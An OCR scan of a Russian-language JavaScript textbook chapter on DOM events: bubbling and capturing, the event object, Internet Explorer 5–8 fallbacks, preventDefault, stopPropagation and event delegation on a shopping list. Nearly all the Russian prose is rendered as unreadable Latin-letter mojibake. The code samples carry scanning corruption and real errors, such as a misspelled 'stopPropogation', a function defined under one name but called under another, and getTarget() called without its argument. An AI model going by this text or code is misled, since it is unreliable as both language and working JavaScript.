TaMW.

MpeAnonoXum, B cnucke npeiMeToB coaep-
XUTCS runepccoblika. Ecav Bbl HaBegeTe Ha
Hee yKasaTe/lb MbILUW U LWENKHETE Mo HeN,
JavaScript MoXeT MHULMMpPOBaTb COBBLITUA Ha
3/IeMeHTe a, a Tak>Xe Ha NtobbIX 3NeMeHTax,
BHYTPM KOTOPbIX OH pacrnosiaraetcs.

BCMNJIbIBAHUE COBbITUN

CobbITue cpabaTbiBaeT Ha CTporoonpeaeneH-
HOM y3J/1e M MOCTEeNeHHO pacnpocTpaHsieTcs
Ha gpyrue y3nbl, 06bematowme ToT, rAe OHO
npousoLwno. Takor MOTOK COBbITUN feCTBYeT
Mo YMOJIYaHUIO M OYEHb LUMPOKO NoAfepXKuBa-
eTcs B pa3/iMyHbIX 6pay3sepax.

@ COBbITUSA

Ob6paboTumku/cnywatenu cobbITUA MOXKHO
NpuBA3bIBaTb K 06beMOLLUM 31eMeHTaM i,
ul, body 1 html, a Tak>xe K o6bekTam document

v window. ZleCTBYIOLUI NPU 3TOM NOPSAAOK
cpabaTbiBaHUSA CObbITUI Ha3biBAETCSA MTOTOKOM
COOBbITHM, N OH MOXET UATU B OAHOM U3 [IBYX
HanpaBaeHUN.

3AXBAT COBbITUN

CobbiTue cpabaTbiBaeT Ha y3/e ¢ 601bLIUM
KO/IM4EeCTBOM NMOTOMKOB M MOCTEMNEHHO NPOHN-
KaeT Brny6b fepeBa, 4OCTUTras KOHKPETHOIO
y3na. Takas mogenb paboTbl C CO6bLITUAMMU

He nogaepXusanach B 6paysepax Internet
Explorer Bepcuu 8 n HUXxe.



[MTOYEMY TAK BAXEH

NMOTOK COBbITUM

MoTok cobbITUmn NMno-HaCcToALEMY Ba>XeH JILLlb B TOM CJ1Yy-
Yyae, €CJ/iIn B BaLLleEM KoJe €CTb 06pa6OT'-IVIKVI CcobbITUI KaK
Ha CaMOM 3J1IEMEHTE, TaK U Ha OAHOM U3 €TI0 NpeaKkoB NN

NMOTOMKOB.

B npumepe, npusefeHHOM
HUXe, eCTb CayLlaTenu, pea-
rupytowine Ha cobbiTue click,
KOTOpPOE MOXeT MPON30NTH Ha
nobom 13 cnepyroLmx sne-
MEHTOB:

* O4WH U3 3/1eMeHTOB ul;
®* OANH U3 3/1IeMeHTOoB li;

* O4VH U3 3JIEMEHTOB a,
OTHOCALLUNXCA
K KOMMOHEHTY CNUCKa .

B pesynbTaTe cogepxumoe
3/1eMeHTa, 3aTPOHYTOro 3TUM
cobbiTemM, oTobpasnTcs

B OKHE C MpeAynpexaeHueMm.
MoToK coBbITUI NOKAXET, Ha
KaKoM U3 3/1eMeHTOB 6b1710
M3HayasIbHO 3aperucTpupoBa-
HO cobbITHE LWenykKa.

KOPOTb BKYCA

BUBBLE

Mpu MCNob30BaHUM TPAAULUOHHBIX 06paboTUMKOB COBLITUN,
aevicTeyowmnx B mogenv DOM (a Takxxe npu paboTe c aTpuby-
Tamu cobbITUi, NpUCyTCTBYOWMMN B HTML) BCE COBpEMEHHbIE
6paysepbl N0 YMONYAHUIO MPUMEHSAIOT UMEHHO BCMJIbIBAHWE, @ HE
3axBaT cobbITR. Mpu paboTe co caywatenamm cobbiTuii nocnes-
HUI NapameTp, coobLiaemblit MeToay addEventListener(), no3BonsieT
Bbl6bUpaTb HanpaBaeHue cpabaTbiBaHUSA COBLITUN:

* true — ¢hasa 3axBara:

* false — chasa BcnnbiBaHua (3auactyio false ucnonb3yerca
N0 YMOJIYaHMIO, TAK KaK 3aXBaT CO6LITHII He NOAAEPKUBANCA
B 6pay3epax Internet Explorer Bepcuu 8 u Huxe).

®aiin event-flow.js (nokasaHHbIN cneBa u AOCTYNHbIN cpeamn Ppait-
N10B NPUMEPOB) AEMOHCTPUPYET PasHULY MEX /Y BCbIBaHUEM

1 3aXxBaTOM cob6bITMI. B JaHHOM NMpMMeEpE NOCNEAHMI NapameTp

y 06paboTunKoB CobbITU MMeeT 3HauYeHue false; 3TO 03HaAYaET, YTO
oTCNEXMBaHUE COBBITUN JOIXKHO NPONCXOANTb Ha 3Tane BCMJibl-
BaHuA. UTak, B nepBOM OKHE npeaynpexaeHus oTobpaxaercs
COAEPXMUMOE camoro rnyboKoro afleMeHTa a, Nocse Yero cobbiTne
pacnpocTpaHsieTcsl BBEPX MO AEPEBY 3/1IEMEHTOB. AHANOMMYHbIN
BapuaHT C NPYMEHEHVEM 3axBaTa CoBbITUI Bbl HAMAETE Cpeamn
$annoB NpUMEpPOB K KHUTE.

JavaSeript

AHRHD

JavaScript

KN HHEHP < [a>

JavaScript

<li id="item"> <a id="link">CBEXWI UHXHUp <

[ oK

COBbITUSA



OBbEKT EVENT

Korga cnydyaeTtcs cobbiTue, 06bekT event coobLLaeT Ham
NHOOPMaLMIO O HEM M O TOM 3/IEMEHTE, Ha KOTOPOM OHO

nmponm3oLusio.

Bcakwuit pas npu cpabaTbi-
BaHUM COBLITUS Mbl MOXEM
HanTn B 0bbekTe event
nonesHyto nibopmauymto

O HeM, BY4aCTHOCTHU, y3HaATb:

* Ha KaKoM 3/ieMeHTe
npoun3oLuno cobbiTue;

* Kakas knasuia bbisia
HaxxaTa npun cobbiTum
keypress;

* B KakoWyacTm obnacTtum
npocmoTpa bbin caenax
LIeNYOK ¥ MPOU30LLIO
cobbiTue click (0bnacTb
npocmoTpa —
3TO YacTb OKHa
bpay3epa, B KOTOpOM
oTobpaxaeTca Beb-
cTpaHuua).

Ob6bekT event coobLlaeTcd
nobor dyHKUMK, 3aHMMa-
fowenca obpaboTkon nnm
CAyLWaHnem cobbITHi.

Ecnu TpebyeTca nepesatb
apryMeHTbl MMEHOBAHHOM
dyHKUMK, TO 06bEKT event
CHavana byget nepeaaH
AHOHUMHON PyHKLMM-06ep-
TKe (3TO NPONUCXOAMNT aBTO-
MaTU4Yeckmn), a 3aTem Bam
npuaeTca 0603HaYNTb ero
Kak napameTp Ans ume-
HOoBaHHOM GyHKLMKM (Kak
MoKasaHo Ha clieayioLlen
cTpaHuue).

Koraa o6bekT event ne-
pefaetca B GyHKUMIO KaK
napameTp, OH 4acTo Mosy-
YyaeT nms e (COKpalLleHHO oT
event). ZlaHHbIA NpUemM nc-
MO/Ib3yeTCA OYEHb LLIMPOKO
(B TOM yMC/ie Ha CTpaHuuax
3TOW KHUTW).

MpaBaa, cneayeT yuynTbl-
BaTb, YTO HEKOTOPbIE NPO-
rpaMMMUCTbl COKPALLEHHO
o6o3HavatoT bykBon e
ApYyron napameTp — error
(owmnbka). Tak 4yTO B OA-
HUX cueHapusx aTa byksa
MOXET 03HavaTb event,

a B Apyrux — error.

B 6pay3epe Internet Explorer 8 He ToNIbKO MPUMEHSANCSA HEOObIUHBIN CUHTAKCUC NpK paboTe co
cnywartensamm cobbiTuii (nogpobHee Mbl roBOpMAN 06 3TOM Ha . 264), y 06bekTa event B Bepcusx
5-8 3T0ro Hpaysepa Mcnosib3oBaanCh cneymduyeckme MMeHa CBOMCTB U MeToAoB. OHU NpuBese-

Hbl B Ciesytollien Tabnmue, a Takxe B Nnpumepe Ha c. 271.

CBOWNCTBO SKBUBAJIEHT HA3HAYEHUE
B INTERNET-
EXPLORER 5-8
target srcElement Llenb cobbiTns (MMEHHO TOT 3/IEMEHT, C KOTOPbIM Mpo-
NCXOAUT B3auMoZencTemne)
type type Tun cpaboTasLuero cobbiTms

cancelable BO3MOXHOCTb /1M HEBO3MOXHOCTb OTMEHbI TOro NoBe-

He nopgaepxunea-

eTcsa AEeHWs 3NeMeHTa, KOTOpoe 3a4aH0 MO YMOTYaHUIo
METOA 3KBUBANEHT HA3HAYEHUE

B INTERNET

EXPLORER 5-8

OTmeHsIeT 3aZaHHOe No YMON4YaHWIO noBegeHne ane-
MeHTa (ecnum Takoe BO3MOXHO)

stopPropagation() cancelBubble bnokupyeT ganbHenwee BCN/biIBaHWE UK 3aXBaT 3TOro
cobbiTus

preventDefault() returnValue

COBbITUA



CNYLLUATE/Ib COBbITUW, HE UMEIOLLIM MAPAMETPOB

G)X
= 1
function checkUsername(e) {
(®) var target = e.target; // nonyyaem uenb cobbITns
}
var el = document.getElementById('username');
el.addEventListener('blur', checkUsername, false);
@ J

1. be3s Bawero BmeLla-
TeNbCTBA CCbINIKA Ha 06b-
eKT event aBTOMaTUYECKMN
nepegaetcsa ns Toukn (1),
rae caywartenb cobbiTuin
BbI3bIBAET GYHKLMIO. ..

2. Croaa, rae dyHkums on-
pefensietca. Ha gaHHOM
3Tane napameTp A0/1KeH
noslyYnTb UMs. 3a4acTyto
OH Ha3blBaeTCs e — COKpa-
LLieHHO OT event.

CNYLLATE/Ib COBbITUW C MAPAMETPAMMU

3.3aTem 370 UMS MOXHO
MCMOIb30BaTb BHYTPU
bYHKLMM KaK CCbINKY

Ha 06bekT event, 4TOObI
noslyyaTb 4OCTYM K €ro
CBOMCTBAM M METOAAM.

function checkUsername(e, minLength) {

(@ var target = e.target; // nonyuaem Lenb co6bITUSA

}

var el = document.getElementById('username');

el.addEventListener('blur', function(e){

checkUsername(e, 5);

}, false); (%

1. Ccbiika Ha 06beKT event
aBTOMaTMYecKkn nepegaercs
AHOHMMHOM GYHKLMK, HO OHA
A0/1XHa 6bITb MOMMeEHOBaHa
B ckobkax

2.3aTeM ccbiika Ha 06bekT
event MOXeT ObITb NepesaHa
B UMEHOBaHHY0 GYyHKLMIO

B BUAeE NepBOro napamerpa.

3. ImeHoBaHHas GyHKUMS
noslyyaeT CCbiIKY Ha 06b-
eKT event B KayecTBe NepBo-
ro napameTpa MeToAa.

4. Tenepb CCbINIKY MOXHO
MCMo/b30BaTh B MMEHO-
BaHHOM GYHKUMM MO 3TOMY
VMEHMN.

COBbITUA



OBbEKT EVENT
B BPAY3EPAX INTERNET
EXPLORER 5-8

Huxe onncaHo, kak noay4nTb 06bekT event B bpay3sepax
Internet Explorer 5-8. OH He NnepeaeTca aBTOMaTUUYECKN
dyHKUMAM cnyliaTena/obpaboTymka cobbITUIM, 0AHAKO
AOCTYreH Kak moToMoK obbekTa window.

B 3ToM KoAe MHCTpyKUMA function checkUsername(e) {
if npoBepsieT, nepenaH n i ()

B byHKUMIO 06beKT event. Kak 1 (e) {

6b1710 NOKa3aHo Ha c. 174, e= window.event;

ero Hanuymne TpakTyeTcs Kak }

3HayeHue true, NOTOMY ZaH-

Hoe 3/leCb ycnoBue cneayet }

NMoHMMaTb Tak: «Eciv 06bekT

event He CyLLIeCTBYET...».

B 6paysepax Internet Explorer
BEPCUN 8 U HUXE NepeEMEHHas
e He ByseT coaepxaTb 06BbEKT,
NO3TOMY BbINO/IHAETCS Ce-
aytowmnin 6ok koga v 3Ha-
YeHVe e yCTaHaB/IMBAETCS

B 06BbEKT event, ABAAOLLMIACA
NoTOMKOM 06bekTa window.

MOJTYYEHME CBOWCTB

Wmes ccoinky Ha obbekT event,  var target;

MoxcHo onysaTs 8ro CBONC™ target = e.target || e.srcElement;
TBa, NON1b3yACb TEXHUKOWN,
NPOAEMOHCTPUPOBAHHOMN
Bbilwe. OHa npuMmeHnmMma n c co-
KpauweHHbIMMN BbIHNCIEHNAMN
(cm. ¢.175).

OYHKUNA ONA MONYYEHNA LEJTN COBbITUA

Ecnm TpebyeTcs npuceonTs function getEventTarget(e) {
cnywartenun CO6bITMlZ HEeCKO/ib- ]f ('e) {

KM 371eMeHTaM, BOCNO/1b3yn- ° A

Tech cneayolein GyHkLmen, e = window.event;
BO3Ban.la}OU.LeV| CCbl/IKY Ha }

TOT 3/1IEMEHT, rae nponsowno

coBbITHe. return e.target || e.srcElement;

}



MCTOJIb3SOBAHNE
CJTYLWATEJIEW COBbITNW
C OBbEKTOM EVENT

Huxe npuseaeH NpumMep, KOTOPbIN Bbl yYXKe He

pas BUAENN B 3TOW rNaBe, HO C KOe-Kakumu
moandukaumsmun.

1. DyHkUMAa Ha3biBaeTcs checkLength(), a He

checkUsername(). OHa MOXeT MCNO/Ib30BaTbCS

c ntobbIM nonem ANA TEKCTOBOro BeoAa.

2. O6beKT event coobLaeTcs cayLLaTeNto Co-
6bITMI. B Mprmepe coaepXXnTcs Ko oTkaTta ans
paboTbl c 6paysepamu Internet Explorer 5-8

(B rnaBe 13 mokasaHo, Kak A9 3TOM Lesin MOX-
HO NPUMEHSATb BCMOMOraTe ibHble GyHKLNN).

3. YT0b6bl ONpeaennTb, C KakMM 3/1eMEHTOM Ha
CTpaHuLe B3aMMOZAENCTBYET MOJIb30BATEb,
dyHKUMs paboTaeT co cBoncTBOM target 06b-
ekTa event (a B 6paysepax Internet Explorer 5-8

OHa UCMOJIb3yeT 3KBMBAIEHTHOE CBONCTBO
srcElement).

JAVASCRIPT

function checkLength(e, minLength) {
var el, elMsg;
if ('e) {
e = window.event;
}
el =e.target || e.srcElement;
elMsg = el.nextSibling;

if (el.value.length < minLength) {
elMsg.innerHTML = 'VIMa nonb3oBaTens OMKHO COREPKATh He MeHee';
}else {
elMsg.innerHTML=";
}
}

var elUsername = document.getElementById(‘username');
if (elUsername.addEventListener) {
elUsername.addEventListener(*blur', function(e) {
checkUsername(e, 5);
}, false);
}else {
elUsername.attachEvent(‘onblur', function(e){
checkUsername(e, 5);
i
}

JaHHas GyHKLUMA OTIMYAeTCa 3HAYNTENbHO
60/bLLEN TMOKOCTbIO, YeM BECH NPEAbIAYLL NI
KOA, paCCMOTPEHHbIN B AHHOM r/1aBe, No AByM
NpUYNHaM.

1. OHa MOXeT NPoBEPATb AJIMHY 106Or0 TeKc-
TOBOIrO BBOAA MPM YC/I0BMM, YTO Cpasy 3a Nnosiem
A1 9TOro BBOZA MAET MYCTON S/IEMEHT, B KOTO-
pbIi MOXHO 3anMcaTb OTBETHOE coobLeHre And
nosib3oBaTens. Mexay ABYyMs 3STUMMU 3N1E€MEH-
TaMU He J0JIKHO BbITb NPOHEnoB NN CUMBO-
JI0B Mepexo/a Ha HOBYO CTPOKY; B MPOTUBHOM
C/lyyae HeKoTopble bpaysepbl MOTYT BEPHYTb

B OTBET MyCTOW y3en.

2.370T Koa byaeT paboTaTh B Internet Explorer
5-8, Tak Kak OH NpoBepseT, NoAAEPXMNBAOTCA
v B Bpaysepe HoBeNLLIME BO3SMOXHOCTH (a ec/im
HEeT, TO 3aMnycKaeTcs Kog oTkaTta, peanvsyoLmnin
TOT UM MHOW bYHKLMOHAS MO CTAPUHKE).

c06/js/event-listener-with-event-object.js

// 06basnsem GyHKUMIO

// O6vAgnsem nepemenHbie

// Ecnm 0bbekT event He cywectsyer

// icnonb3yem Kog oTkata ns crapsix Bepcuii IE

// Nonyyaem yenb cobbiTua
// Nonyyaem crefyiowmit CMEXHbIi 31eMeHT

// ECIvt TEKCT CAmLKOM KOpOTKuit — cooblueHme

// MHave
// C6paceiBaem coobuieHme

// Monyyaem uMa nonb3osarens

// Ecnu cnywatens cobbiTuit nopfepkuBaeTcs
// Cobbitve blur

// Bui3viBaem dykumio checkLengthy()

// 3axBaTblBaeM Ha 3Tane BCMAbIBAHNUS

// MHave

// Kop otkata ans IE: onblur

// BbisbiBaem dyHkumio checkLengthy()

COBbITUA @



HOEJNEMPOBAHUNE

COBbITUW

Ecnn co3gaBaTb cayLlaTeny cpasy A9 MHOXeCTBa a/e-

MEHTOB Ha CTpaHuLie, To 3ameannTcs ee pabota. OaHako

bnarofaps NOTOKY COObITUA MOXHO CAyLLATb COBbITUSA Ha
POAUTEIbCKOM 31EMEHTE.

Ecnn Ha KOHKpPEeTHOM CTpaHu-
e nosib3oBaTe b cnocobeH
B3aMMo/encTBOBaTb Cpasy

C MHOXECTBOM 3/1EMEHTOB,
Hanpumep:

*  CMHOrOYUCIEHHbIMM
KHOMKamu B rpadmnyeckom
nHTepoece;

*  CAJIMHHBIM CMINCKOM;
*  CKaxAon sayenkon Tabauubl;

To byaeT HeadDEKTUBHO CHAb-
XaTb CaywaTensamm cobbiTmi
KaXkAbl Takom anemMeHT. Torga
Bbl MU3pAaCXoAyeTe CANLLKOM
MHOr0 NamAaTh U 3aMeanmnTe
paboTy nporpammeol.

Mockonbky cobbITUs 3aTparu-
BatoT poanTensckune (0bvem-
SIIOLME) Y3/Tbl TEX D/IEMEHTOB,
Ha KOTOPbIX OHK cpabaTbiBaloT
(370 06YC/IOBMEHO MOTOKOM
COBBITUI, CM. C. 266), MOXHO
CTaBUTb 06paboTymkm cobbITUN
Ha POAMUTENbCKUM 3/1IEMEHT,
a3aTemM Nosb30BaTbCs CBOMC-
TBOM target 06bekTa event,
yTObbI OMpeaenaTb, Ha Kakom
N3 04EPHNX 3/1IEMEHTOB Npo-
M30LW10 cobbiTurE.

Mpukpennss obpaboTumnk
cobbITUIN K 06bEeMNOLLLEMY
3/1eMeHTY, Bbl MOJly4YaeTe BO3-
MOXHOCTb pearmpoBaTth BCero
Ha 04VH 3neMeHT (a He CTaBUTb
06paboTUMKM Ha KaxX bl N3
€ro MHOFOYNC/IEHHbIX MOTOM-
KOB).

Takum o6pa3om, Bbl generunpy-
eTe B3aMmozelcTBMe c obpa-
60TUYNKOM CODBITUI 3NEMEHTY-
npeaKy, XoTs camu cobbiTvs
6yAyT NMPOUCXOAUTD Ha 3ne-
MeHTax-noTomkax. B cnvcke,
NoKa3aHHOM 3/eCb, MOXHO
yCTaHOBUTb 06paboTUmMK CobbI-
TWUI Ha a/1emMeHT ul, a He Npu-
KpenaTb K KaX 40N U3 CCbI/IOK,
coaepxawmxca B anemeHTax li.
3To no3BondeT 06oNTUCh BCEMO
OAHUM CAyLLaTesiem cobbITui.
Mpon3BOANTENBHOCTb CTPa-
HULbI NoBbIcMTCS. Kpome Toro,
ecnv noTpebyetca 4obaBuTh

B 3TOT CMMCOK HOBbIE MYHKTHI,
nmMbo yaannTb 3N1EMEHTbI U3
Hero, 06paboTumk cobbITUM

He nameHnTCs (Kog npumepa
npueeaeH Ha c. 275).

S

KOPONb BKYCA

NMPONOBO/IBCTBEHHAA
NTABKA

CBEXKWH HXKNP)
Keaposbie opeliky

MYEnVHBIY Me

Oanb3aMUL ECKMIA YKCYC

OOMOJTHNTEJIbHBIE MPEMMYLLUECTBA, CBA3AHHbIE
C OENErMPOBAHUMEM COEBbITUN

PABOTA C HOBbIMA
SJIEMEHTAMN

Jo6aBniss HOBblE 3/IeMEHTbI

B AepeBo DOM, K HUM MOXHO
He NpuKpennaTb 06paboTumkn
CcobbITUI, MOCKObKY 3Ta 3a4a-
Yya AefierrpoBaHa Ux npeaky.

@ COBbITUA

YCTPAHEHWNE HE-
YOOBCTB, CBA3AHHbLIX
C KJTIOYEBbBIM CJTOBOM
THIS

Bbille B 3TOM rnaBe Mbl MOJb-
30Ba/INCb K/HOYEBBIM C/TOBOM
this, 0603Hayas c ero NOMOoLLbo
L|e/IeBOV 3/1EMEHT, Ha KOTOPOM
npoucxoanT cobbiTne. OgHako
AaHHbIN NpueM He cpaboTaeT

B Internet Explorer 8, a Takxe

B CAy4asx, korga dbyHKUns Tpe-
6yeT NapameTpoB.

VMNPOLLEHUE KOOA

MpuxoANTCA NUCaTb MeHb-
we dyHKLMI, yMeHbLUaeTca
KO/IMYECTBO CBA3EN MexX Ay
DOM v BalWnM KOAOM, YTO
obnervyaet nogaepxky
Kofaa.



M3MEHEHWE NMOBELOEHWHA,
SAO0ABAEMOIO MO
YMOJIHAHNIO

Y 0obbeKkTa event eCTb MeTO/bl, MO3BO/IAOLLME USMEHATD
noBeAeHne a/1IeMeHTa No YMOJIYaHUIO, @ TakXXe TO, Kak ero
npeaku pearnpytoT Ha CobbITHE.

preventDefault()

HekoTopble cobbITUsS — Ha-
npumep, LLIeNYOK MbILLN MO
runepccoblike Nnbo oTnpaska
dopmbl — NepeBoASAT NOMb-
30BaTesIs Ha Apyrylo cTpa-
HULY.

YT06bI 3aNpeTUTL CTaHAapT-
Hoe nosezsieHne NoA06HbIX
snemeHTOB (Hanpumep,
4TObbI OCTaBUTL NOJIb30OBaTE-
NS Ha JaHHOW CTpaHuLe Aaxe
B C/lydae HaxaTus Ha CCbiN-
Ky Uim oTnpasku Gopmbl),
MOXHO NpuberHyTh K MeToAy
preventDefault() o6bekTa
cobbITus.

B 6paysepax Internet Explorer
5-8 eCcTb 9KBMBaNeHTHoOe
CBOWCTBO returnValue, kKoTOpoOe
cneayeT ycTaHoBUTH B false.
Mpn nomoLm ycnoBHOM
WHCTPYKLUN MOXHO NpoBe-
pUTb, NOAAEPXMNBAETCA N
meToz preventDefault(), n ecan
HeT — AeNCTBOBATb, Kak 3TO
TpebyeTcs B cyyae ¢ Internet
Explorer 8:

if (event.preventDefault) {
event.preventDefault();
}else {

event.returnValue = false;

}

stopPropagation()

ObpaboTas cobbiThE Ha 04-
HOM 3/1EMEHTE, Bbl, BOSMOXHO,
3ax0TWTe NpegoTBPaTUTL
BCMJIbIBAHME 3TOrO COBbLITUSA
BBEPX NO AEPEBY 3/1IEMEHTOB,

Kk npeakam (ocobeHHO ecnn

Ha aneMeHTax-npeakax ycra-
HOBJ/eHbl CBOM 06paboTUMKNY,
pearmpytoLime Ha aHanoruny-
Hble COBbITUSA).

YT06bl NPpEAOTBPATUTD
BCMJIbIBAHME, MOXHO BOC-
Nnosb30BaTbCS METOAOM
stopPropagation() o6bekTa
event.

B 6paysepax Internet Explorer
BEpPCUN 8 1 HMXeE MMeeTCst
3KBMBANEHTHOE CBOWCTBO
cancelBubble, koTOpo€e HY>XHO
yCTaHOBWTb B true. ONATb Xe
npu NOMOLLMN YCTOBHOM MHC-
TPYKLMN MOXHO NPOBEPUTD,
noAAepXunBaeTcs M MeToz
stopPropagation(), 1 ecnv HeT —
AencTBOBaTb Kak B Cayyae

c Internet Explorer 8:

if (event.stopPropogation) {
event.stopPropogation();
}else {

event.cancelBubble = true;

}

MPMMEHEHWE
OBOUX METOOOB
CPA3Y

MHorga npn BO3HUKHO-
BEHUWN TakKUX CUTyaL NN,
KOTOpble OMMCaHbl BblLLE Ha
3TOW cTpaHuue, B GYHKLUUSAX
MOXHO BCTPETUTb N0A06-
HbIN KOA:

return false;

OH OTMeHSEeT noBeeHe
3/1eMeHTa, 3aJlaHHoe Mo
YMO/IYaHMIO, @ TakXe npe-
NATCTBYET AasibHenwemMy
BCM/IbIBAHMIO COBbITUS

1 3aXBaTy ero Ha Bbllle-
CTOALMX S/1eMEHTAX. DTOT
npvem paboTaeT B 1106bIX
6paysepax 1 NOTOMY OYeHb
nonyasipeH.

OaHako yYnTbiBanTe, YTO
Korga uHTepnpeTaTtop
BCTpeYaeT NHCTPYKLMIO
return false, oH urHopupyet
BECb MOCAEAYIOLWNN KOA,
KOTOPbI MOXET NpUcyTC-
TBOBATb B 3TON PyHKLMWY,
N NepexoauT K BbINoHe-
HUIO MePBON MHCTPYKLMN,
cneaytoLLen 3a BbISOBOM
dyHKUMM.

Mockonbky Takoe 6510~
KMpoBaHWe KoAa BHYy TP
dYHKLUMMN HexenaTesb-
HO, 3a4acTylo pasymHee
MCrosib30BaTb MeTO[
preventDefault() o6bekTa
event, a He KOHCTPYKL IO
return false.

COBbITUA @



HOEJNEMPOBAHUNE

COBbITUW

B 1aHHOM NpUMepe Mbl 0606LLMM 3HAUUTENbHYIO o

4YaCTb MaTepuana, U3y4eHHOro samu B npouecce
YTeHMS 3TOM rNaBbl. 34€ch Bam NpeACTouT pa6OTaTb
CO CMUCKOM, KaXAbli 3neMeHT KOTOPOro ABAAETCA M-
I'IeDCCbI)'IKOVI. Korga nonb3osatens LeKkaeT no 04HOM

N3 3TUX CCbINOK (cmrHanmampyn Takum o6pa30rv1, 4yTo 9

BbIMOMHUN 3aqa‘4y), SNEMEHT yAanaeTca ux cnucka.

+ CHIAMOK 3KpaHa AaHHOro NpumMepa nNpuBe/eH Ha
.272.

+ Cnpasa Ha TekylLeil CTpaHuLe npuseeHa 61ok-
CXeMa, NOMOraloLLias NoHATb, B KaKOM NOPSAKeE
BbINOSHAETCA KOA.

+ Hacnepylolueit CTpaHuLe NpuseaeH Kog Ana
3T0T0 NpUMEpA.

1. Cnywatenb cobbiTnit fobaBNSETCA K 3neMeHTY ul,
M03TOMY OH ZJ0/1X€H ObITb BbIZENEH.

2.Mposepsiem, nogAepxnBaeTcs 1 8 bpaysepe MeTog
addEventListener().

3. EC/M OH N0OAAEPXMBAETCS, TO C €70 MOMOLLbHO BbI- @
3biBaem yHKumio itemDone(), cpabaTbiatoLuyio, Koraa
N0/1b30BaTENb WENKHET N0 NI0OOMY 3NEMEHTY CMIUCKa.

4.Ec/v OH He MOAAEPXMBAETCA — 3ajefCTBYeM MeToA
attachEvent().

5.0yHKuws itemDone() yAanseT 3NEMEHT U3 CIMCKa.
[ing paboTbl eit TpebyeTcs TpU MHGOPMALMOHHDIE
eAMHMLD.

6. 06bABNAIOTCA TPU NEPEMEHHbIE, B KOTOPbIX ByaeT e
HaxoAUTbCs MHdOpMALMS.

7.MepemeHHas target COAEPXMT 3/1EMEHT, M0 KOTOPOMY
L{eNKHYA N0/1b30BaTeb. INS NONYYEHNS 3TOM MHOP- @
MaLy Bbi3biBaeTcs dyHKLMS getTarget(). OHa co3aa-

€TCs B CAaMOM Hayane CLieHapus 1 NokasaHa B HUXHeN
4acTi Hnok-cxembl.

8.B nepemeHHo elParent CofepXUTCA POANTENLCKHUI m
y3en atoro anementa (1i).

9.B nepemenHol elGrandparent COfepPXMTCS INEMEHT-
NpeAOK BbiLLEYNOMSHYTOr0 POANTENLCKOrO y3a.

10.3nemeHT li ysansercs u3 anementa ul.

11.NpoBepsem, noagepxusaercs am 8 6paysepe MeToa
preventDefault(), npesoTBpaLLaoLLit nepexos Nob30-
BaTE/IS MO CCbI/IKE Ha HOBYIO CTPAHULY.

12.ECM OH NOAAEPXMBAETCS — NPUMEHSEM €TO.

13.B npoTuBHOM CNyyae 3a4encTByeM CBOMCTBO
returnValue, KOTOPOE MCMONB30BANOCH B CTAPbIX BEPCH-
ax bpaysepa Internet Explorer.

Ecm B bpaysepe He nogAepxuBaeTcs A3bik JavaScript,
10 HTML-ccbinkm byayT nepesognTs Bac K baiiny
itemDone.php. Cpen npumepoB Takol baiin oTcyTe-
TBYET, Tak kak PHP — cepBepHblit A3bIK, v €70 06CyX-
[EHVeE BbIXOAWT 33 PAMKM 3TOM KHUM

COBbITUA

MonyuyaeM aneMeHT ul AN CAMCKa NOKYMNOK

+
I
Moppep>xuBaetcs
nn mMeTon @
addEventListener()?
Vicnonb3osatb Vicnonb3oBaTb
attachEvent() addEventListener()

| |
Co6biTHe: Lenyok (click) no nro6on

CCblJIKe B Cnncke
1

OyHkuua itemDone() yaanset anemeHT,
3aBepwus paboty

Co3paTb NepeMeHHble:
target: aneMeHT, o KOTOPOMY 6bINl CAGNAH LLENYOK
elParent: popMTeNbCKNiA y3en [AHHOFO aNeMeHTa
elGrandparent: aneMeHT-npeaokK BbiLEYNOMSAHYTOrO
POANUTENbCKOrO y3na
Mony4nTb 31EMEHT, MO KOTOPOMY GblNl caenaH
LLenyok: Bbi3Batb hyHKUMUIO getTarget().

MonyuunTtb ero poauTenbckui anemeHT (li)
1 1
MonyunTb 3N1eMeHT-NPeAoK BblLeyNnoMAHYTOro
poauTenbckoro anemeHTa (ul)
1
Ypanutb aneMeHT li u3 anemexra ul

¥

NMoppepxxuBaetcs
nn MeTonR
preventDefault()?

® ®

Mcnonb3osatb
cBoiicTBo returnValue

preventDefault()

DYHKUMUA getTarget() NonyyaeT TOT 3/1IEMEHT,
Mo KOTOPOMY LEeNIKHYN Nosib3oBaTeNb

4

Monyuntsb Lenb cobbiTUSA

OTCyTCTBYET NU
06beKT event?

Monyuntb npu noMoLn o6bEKTa event,
uenb KOTOPbIA UCNONb30BANCS
co6bITUs B CTapbix Bepcuax 6paysepa IE



<ulid="shoppingList">

<li class="complete"><a href="itemDone.php?id=1"><em>cBexuii</em> urxup</a></li>
<li class="complete"><a href="itemDone.php?id=2">kegpoBble opewku</a></li>

<li class="complete"><a href="itemDone.php?id=3">nuenunslil Meg</a></li>

<li class="complete"><a href="itemDone.php?id=4">6anb3amuyeckuit ykcyc</a></li>

</|_|l>

JAVASCRIPT

function getTarget(e) {
if (te) {
e =window.event;
}
return e.target || e.srcElement;

}

@funcﬁon itemDone(e) {

@ var target, elParent, elGrandparent;
@) target = getTarget();
elParent = target.parentNode;
elGrandparent = target.parentNode.parentNode;
elGrandparent.removeChild(elParent);

if (e.preventDefault) {
@ e.preventDefault();
}else {
@ e.returnValue = false;
}
}

@varel=document.getElementById(‘shoppingList‘);
@) (eLaddEventListener) {
@ el.addEventListener('click', function(e) {
itemDone(e);
}, false);
Felse {
@ el.attachEvent(‘onclick’ function(e){
itemDone(e);
b
}

// O6waznsem dyHKupio
// Ecu obbekT cobiTs otcyTcTByer
/] Wicnonbayen ofiexT event, npumenssLumiica B cTapsix Bepcsx IE

// Noaysaenm uens cobbims

/] 06bsgasem dyHKuo

// Ynansem 3nemeHT u3 cnucka

// 06uABnAEM NepenenHie

// Tlonysaem ccoinky T0r0 31eMeKTa, N0 KoTOpoMy Gbin CAenaH Lienok
// Tony4aen cooTBETCTBYIOLMIE IMEMEHT U3 3TONO CTUCKA

// Monysaenm cooTBETCTBYROLMH CIUCOK

// Ymansiem 3nemeHT u3 cnucka

// 3anpelaen nepexoa no AaHHOi ccoike kyga-nubo ¢ Texyliel cTpakmb
/] Ecnn metop preventDefault() npumenin

// Ncnonb3yen preventDefaulty()

// hase

// Wicnonb3yen npuem s crapsix sepenii IE

// Co3gaem cnywarenn cobbimit s 8613083 yHkuww itemDone() npu Lyenyke

// Mony4aem cnicok nokynok

/ Ecu caywarenu coBbiruii nphmeHis

// Llobasnsiem caywarens cobsimuit wenda

// Boizbisaetcs yHkuus itemDone()

